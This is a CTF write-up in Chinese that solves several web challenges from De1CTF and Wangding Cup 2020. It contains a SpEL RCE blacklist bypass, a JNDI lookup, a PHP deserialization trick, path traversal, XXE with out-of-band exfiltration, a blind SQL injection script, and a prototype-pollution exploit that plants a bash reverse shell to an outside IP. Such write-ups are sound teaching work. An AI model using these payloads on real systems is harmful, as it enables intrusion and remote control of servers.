先通过kerberoast爆破De1ta用户密码,setspn新增一个SPN,服务账户设定为De1ta:setspn -S http/web.de1ctf2020.lab De1ta,接着请求该服务的ST,即可离线爆破

之后大感觉是资源委派(因为看到出题人在先知上发过文章),我本地实验环境DC还是winserver2008,算了放弃了

calc

这出题人有点搞笑

前台黑名单,过滤了T\s*(, String, new, java.lang, Runtime等等,没有new意味着只有静态方法(new/newInstance

看了SPEL的词法解析源码后发现\u0000也被识别为空字符,直接pos++;而java.lang可以java . lang绕过 ,对词法解析是没区别的。(赛后看了出题人的payload他好像以为这样真的能限制,你仿佛在故意逗我笑)

命令执行的payload

T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getMethod('ex'+'ec',T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getName().class).invoke(T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getMethod('getR'+'untime').invoke(T\u0000(java . lang . Object).class.forName('jav'+'a.lan'+'g.Run'+'time')), "sleep 5").waitFor()

这个payload最初测试时已经成功RCE,正在想办法外带。突然题目下线又上线就被blocked by openrasp,感觉是出题人改题了

之后又尝试了JNDI,initialContext有一个静态方法doLookup,可以发出请求但高版本不能加载远程codebase,测了几个本地gadget也没成功

T\u0000(java . lang . Object).class.forName("javax.naming.InitialContext").getMethod('doLookup', T\u0000(java . lang .Object).class.forName('jav'+'a.lan'+'g.Run'+'time').getName().class).invoke(null, 'ldap://IP:6666/TTT')"""

这道题RASP没有限制读文件,所以通过nio的几个静态方法就可以了

而且SPEL的关键字不区分大小写…意味着可以随便实例化(出题人不知道SPEL这个特性也就算了,黑名单难道不知道大小写匹配?)

mc_joinin

完全摸不着头脑,nmap识别出来80端口是go-ipfs json-rpc or influxdb api(nmap,真有你的,成功带偏)

MC服务器默认端口25565,nmap默认是不扫的,最后还是从shodan得知。protocol version是997,自己改客户端

第二关是个Go slice override,赛中好像没给源码,有点牵强

网鼎杯2020

AreUSerialz

这题看起来有三道check:

  • is_valid校验%00

  • if($this->op === "2") this->op = "1";
    if($this->op == "2") read();
    
  • 知道创宇WAF

第二个check用弱类型过,第三个实际payload没有拦(?)

第一个卡了我半天:因为类成员都是protected,但is_valid只允许32 <= ascii <= 125,也就是说反序列化出来的*\0*过不了

赛后又研究了一下,发现新tip

我们知道反序列化过程其实是个build and assign的过程,即先实例化对象,然后依次解析序列化数据中的类成员再赋值(PHP是动态语言,runtime的实例属性是存储在哈希表中的,所以可以随意新增实例属性)。于是也就有了CVE-2016-7134这种其实是正常feature的漏洞。那么当类的某个成员是protected成员,而我序列化数据中是public成员会出现什么情况?

class FileHandler {
    protected $content;
    protected $op;
    protected $filename;
}

class FileHandler {
    public $content;
    public $op;
    public $filename;
}

当我用下面的序列化数据去反序列化上面的类时,在我测试PHP5.4以及php7.0中,PHP区分了不同成员的访问属性,出现这样的情况:

object(FileHandler)#1 (6) {
  ["op":protected]=>
  NULL
  ["filename":protected]=>
  NULL
  ["content":protected]=>
  NULL
  ["content"]=>
  NULL
  ["op"]=>
  int(2)
  ["filename"]=>
  string(18) "C:/windows/win.ini"
}

在这种情况下在成员函数中通过$this->op拿到的是NULL,因为它会根据类签名寻找protected的属性,所以如果题目环境是5.4 or 7.0,这题就不能这样绕了(见后文)

而我测试PHP7.3中序列化数据里的public成员能直接被赋值到protected成员中(private成员也可以),也就是说7.3直接忽略了访问属性去给实例赋值

object(FileHandler)#1 (3) {
  ["op":protected]=>
  int(2)
  ["filename":protected]=>
  string(18) "C:/windows/win.ini"
  ["content":protected]=>
  NULL
}

高版本的PHP校验反而变得不严格了,看不懂。所以大概在PHP7.1~7.3的某个版本开始(我懒,不想搭环境挨个试),反序列化时会忽略成员的访问属性


这题的预期解应该是用S来写转义后的数据,记得原来在某篇博客看到过这个trick,不过赛中没想到

var_dump(unserialize('s:1:"e"'));
var_dump(unserialize('S:1:"\65"'));

这题最后反序列化读取

/proc/self/cmdline
/web/config/httpd.conf
/web/html/flag.php

filejava

上传文件后可下载,存在任意文件读取,跳到根目录但读不了flag,因为做了限制

jsp服务先读web.xml

/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml

看到3个核心类,再去读字节码文件

../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
                                           UploadServlet.class
                                           DownloadServlet.class

还原后审计,upload中引入了poi解析xlsx,存在XXE

修改xlsx中的[Content_Types].xml,然后常规FTP OOB外带即可

trace

注入,两个限制点:

  • MySQL 5.5.62(无sys表),过滤了information_schema
  • SQL语句执行成功20次整个容器作废

针对第一点,测出存在flag表,常规无列名注入(不知道有没有低版本MySQL绕过information_schema的新姿势)

第二点只需要保证SQL语句永远执行不成功即可:

if((), sleep(3) - exp(~1), exp(~1))
# -*- coding:utf8 -*-

import requests as r

url = 'http://b7c07b80ccfc48fa8020a34f32d47a4e178852b8d86f47f2.changame.ichunqiu.com/register_do.php'

payload = "select database()" #ctf  # 5.5.62-
payload = '(select `2` from (select 1,2 union select * from flag)a limit 1,1)'
param = "a'|if(ascii(mid((%s),%d,1))%c%d,sleep(3) - exp(~1),exp(~1)),'admin123')#"

def check(data):
    try:
        res = r.post(url, data=data, timeout=3)
        print(res.text)
    except:
        return True
    return False

def binSearch(payload):
    print('[*]' + payload)
    result = 'flag{'
    for i in range(6, 100):
        left = 33
        right = 127
        #binary search
        while left <= right:
            mid = (left + right) // 2
            #s = payload % (i, '=', mid)
            data = {
                "username": param % (payload, i, '=', mid),
                'password': '123',
            }
            print(mid)
            if check(data) == True:
                result += chr(mid)
                print(result)
                break
            else:
                # s = payload % (i, '>', mid)
                data = {
                    "username": param % (payload, i, '>', mid),
                    'password': '123',
                }
                if check(data):
                    left = mid + 1
                else:
                    right = mid - 1
        if left > right:
            break
    return result

if __name__ == "__main__":
    res = binSearch(payload)
    print(res)

notes

莫名其妙引入undefsafe库看起来就不对劲,该库最新版本是2.0.3,2.0.2存在原型链污染。POC:undefsafe({}, '__proto__.XX', 'XXX')

/status路由中会遍历commands对象的所有属性并交给bash执行,所以只需原型链污染新增属性,再访问/status即可RCE

定位到Notes.edit_note

this.note_list = {};
undefsafe(this.note_list, id + '.author', author);

控制id=__proto__author=cmd即可

import requests

url = 'http://9711c6c8714c462895e6353c89625c599089f9ae09ec4d6e.cloudgame2.ichunqiu.com:8080'

requests.post(url + '/edit_note', data={
        'id': '__proto__',
        'author': '/bin/bash -i >&/dev/tcp/IP/7777 0>&1',
        'raw': '123',
    })
requests.get(url + '/status')